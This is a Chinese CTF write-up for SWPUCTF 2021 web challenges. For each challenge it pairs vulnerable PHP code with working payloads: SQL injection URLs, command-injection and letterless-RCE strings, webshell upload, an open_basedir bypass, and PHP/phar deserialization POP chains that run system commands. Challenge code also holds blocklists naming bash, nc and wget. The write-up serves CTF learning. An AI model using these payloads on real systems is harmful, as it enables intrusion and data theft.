[SWPUCTF 2021 新生赛] web
简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令
目录
gift_F12
源码目录找flag
caidao
简单的rce
jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
json字符串例子
json['x']=wllm 的json格式是 {"x":"wllm"}
easy_md5
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
数组绕过
name[]=1
password[]=2
easy_sql
/?wllm=-1' union select 1,2,3--+
/?wllm=-1' union select 1,2,database()--+
/?wllm=-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
/?wllm=-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='test_tb')--+
/?wllm=-1' union select 1,2,(select group_concat(flag)from test_tb)--+
easyrce
if(isset($_GET['url']))
{
eval($_GET['url']);
/?url=system('cat /fl*');
babyrce
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
就是过滤空格,rce时候不能ls /
${IFS} 代替空格
/rasalghul.php?url=cat${IFS}/fl*
ez_unserialize
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
简单构造
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd = "ctf";
}
}
$p = new wllm();
echo serialize($p);
include
filter 伪协议
no_wakeup
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
修改属性个数绕__wakeup()
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
改成
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
Do_you_know_http
使用WLLM浏览器
bp抓包修改UA
easyupload1.0
Content-Type 修改
直接蚁剑
真的flag在phpinfo()中
easyupload2.0
图片马上传进去,改名phtml
蚁剑连
easyupload3.0
.htaccess 解析图片马
error
报错注入
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test_tb' limit 1,1),0x7e),1)--+
这里涉及到flag显示一半的问题
?id=1' and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+
hardrce 无数字字母rce
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
无字母数字rce
能过虑的都过虑了,发现~没有过虑,可以进行取反
php取反rce的脚本:
<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
hardrce_3 无数字字母rce
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
这里取反~不能用了
用自增 无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客_绕过正则表达式
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
发现system,exec,shell_exec,popen,proc_open,passthru被禁用 ,同时设置了open_basedir,无法看到文件
但是可以用file_put_contents(,)
_=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
访问1.php
finalrce 无回显rce
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
没有过滤|这个符号,然后exec执行是没有回显的,这个题目是需要用linux的一个命令,”tee“将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。
过滤了ls 可以用l\s 来代替
然后访问1.txt
/?url=tac /flllll\aaaaaaggggggg | tee 2.txt
PseudoProtocols 伪协议
filter协议读
/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
data 协议写入内容
/test2222222222222.php?a=data://text/plain,I want flag
pop
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
就三个类,__destruct入口 调用__toString() , echo是针对字符串的
__toString()去调用Getflag(),也就是 $this->w22m=Getflag
序列化链
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a=new w44m();
$b=new w22m();
$c=new w33m();
$b->w00m=$c;
$c->w00m=$a;
$c->w22m="Getflag";
echo urlencode(serialize($b));
有私有属性一定要url编码一下
sql
有waf ,fuzz一下
这些都过滤了,主要是空格 = ban了
空格用/**/,=用like ,然后--+ 和 #不能用,%23 来闭合
payload:
/?wllm=-1'/**/union/**/select/**/1,2,database()%23
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23
读flag字段时,值显示出一半的flag,right,left,substr都过滤了,可以考虑用mid
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,40)/**/from/**/LTLT_flag%23
Baby_Web 变量覆盖
CVE-2021-41773
简单来说: 检测路径中是否存在%字符,并且如果%后面的两个字符是十六进制字符,就会对后面的两个字符进行url解码转化,如路径中有%2e./,则会解码为../,转换后判断是否存在../,加入路径中使用.%2e/则能绕过,导致目录穿越漏洞,因为当遍历到第一个.时,后面两个字符是%2并不是./,就不会被处理,绕过检测。
目录穿越 ,dirsearch能扫到
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
还有个Class.php
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
[GFCTF 2021]Baby_Web(复现)_M1kael的博客-CSDN博客
可以看到在index.php中get传参
它对我们传参的值进行display方法
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
然后经过extract,再进行getTempName方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
这里给了个目录/template/admin/
我们试着直接访问一下
我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数
$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);
利用 call_user_func()
我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === ‘admin’,所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量
审代码
$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {//遍历新⽣成的数组
$var = substr($t, 0, strpos($t, '='));//key
$val = substr($t, strpos($t, '=') + 1);//value
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;//数组定义
}
}
数组定义
switch ($system['action']) {//把key为action的值来比较
case 'function':
if (!isset($param['name'])) {//必须有key为name
return 'hacker!!';
} elseif (!function_exists($param['name']))//还必须被定义
{
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];//我们只需要这一步定义
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);//利用的key为name的value值
}
payload:
URL?filename=index.html
(POST)space=admin&mod=123 action=function name=phpinfo
babyunser phar反序列化
尝试上传,自动解析成txt文件
文件查看可以查到源码
read.php
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
upload.php
<?php
if(isset($_POST['submit'])){
$upload_path="upload/".md5(time()).".txt";
$temp_file = $_FILES['upload_file']['tmp_name'];
if (move_uploaded_file($temp_file, $upload_path)) {
echo "文件路径:".$upload_path;
} else {
$msg = '上传失败';
}
}
class.php
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
顺着魔术方法构造
poc
<?php
class aa{
public $name;
function __construct(){
$this->name = new zz();
}
}
class ff{
private $content;
public $func = "assert";
function __construct(){
$this->content = new xx();
}
}
class zz{
public $filename;
public $content='surprise';
function __construct(){
$this->filename = new ff();
}
}
class xx{
public $name;
public $arg;
}
$a = new aa();
echo urlencode(serialize($a));
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成phar文件 上传进去
然后在read.php 这里post
SimplePHP phar反序列化
查看文件这里可以看到源码
file.php ,提供了get传参
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
主要看
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
Test类:
创建对象时$params转化为数组,当调用未定义的属性或没有权限访问的属性时__get方法触发,调用get函数,get函数的$key传递给file_get函数的$value,file_get函数再将$value经过file_get_contents函数处理和base64编码传递给$test并输出。
分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get
方法,那么现在的问题变成了__tostring
的触发,看C1e4r类中的__destruct ,
echo出test
正好可以触发__tostring
整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
//Test类中没有source属性,可以根据这个调用__get()函数
public $file;
public $params;//数组类型的数值
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = "/var/www/html/f1ag.php";
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);//链子以$a为起点
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
根据上传功能的源码phar文件要改名,然后访问upload目录
以phar协议读取
文件查看器 phar反序列化
这题有点难啊
WP篇之解析GFCTF---文件查看器 | Arsene.Tang
admin , admin 登录进去
www.zip源码泄露
Files.class.php
<?php
class Files{
public $filename;
public function __construct(){
$this->log();
}
public function read(){
include("view/file.html");
if(isset($_POST['file'])){
$this->filename=$_POST['file'];
}else{
die("请输入文件名");
}
$contents=$this->getFile();
echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
}
public function filter(){
if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){
echo "这合理吗";
throw new Error("这不合理");
}
}
public function getFile(){
$contents=file_get_contents($this->filename);
$this->filter();
if(isset($_POST['write'])){
file_put_contents($this->filename,$contents);
}
if(!empty($contents)){
return $contents;
}else{
die("该文件不存在或者内容为空");
}
}
public function log(){
$log=new Myerror();
}
public function __get($key){
($key)($this->arg);
}
}
Myerror.class.php
<?php
class Myerror{
public $message;
public function __construct(){
ini_set('error_log','/var/www/html/log/error.txt');
ini_set('log_errors',1);
}
public function __tostring(){
$test=$this->message->{$this->test};
return "test";
}
}
User.class.php
<?php
error_reporting(0);
class User{
public $username;
public $password;
public function login(){
include("view/login.html");
if(isset($_POST['username'])&&isset($_POST['password'])){
$this->username=$_POST['username'];
$this->password=$_POST['password'];
if($this->check()){
header("location:./?c=Files&m=read");
}
}
}
public function check(){
if($this->username==="admin" && $this->password==="admin"){
return true;
}else{
echo "{$this->username}的密码不正确或不存在该用户";
return false;
}
}
public function __destruct(){
(@$this->password)();
}
public function __call($name,$arg){
($name)();
}
}
头部在
User
类的__desctruct
中,然后尾部是在Files
类中的__get
中,里面可以执行任意命令;头部首先进入了__desctruct()
后,可以通过数组的形式访问任意类的任意方法,那我们就让它访问User
类的check()
方法中,然后这里有echo
,以字符串的形式输出对象,然后就会跳到Myerror
类中的__tostring()
方法中,然后它里面的$this->test
是可控的,我们让它等于一个Files
类里面没有的属性就行了,就可以直接调用__get
方法了,并且给$key
赋值
poc链:
<?php
class Files{
public $filename;
public function __construct(){
$this->arg = 'cat /f*';
}
}
class Myerror{
public $message;
public function __construct(){
$this -> test = 'system';
$this -> message = new Files();
}
}
class User{
public $username = 'admin';
public function __construct(){
//$this -> password = [$this,"check"];
$this -> username = new Myerror();
}
}
$a = new User();
$a -> password = [new User(),"check"];
echo serialize($a);
后面理解有点费劲了
更多推荐
所有评论(0)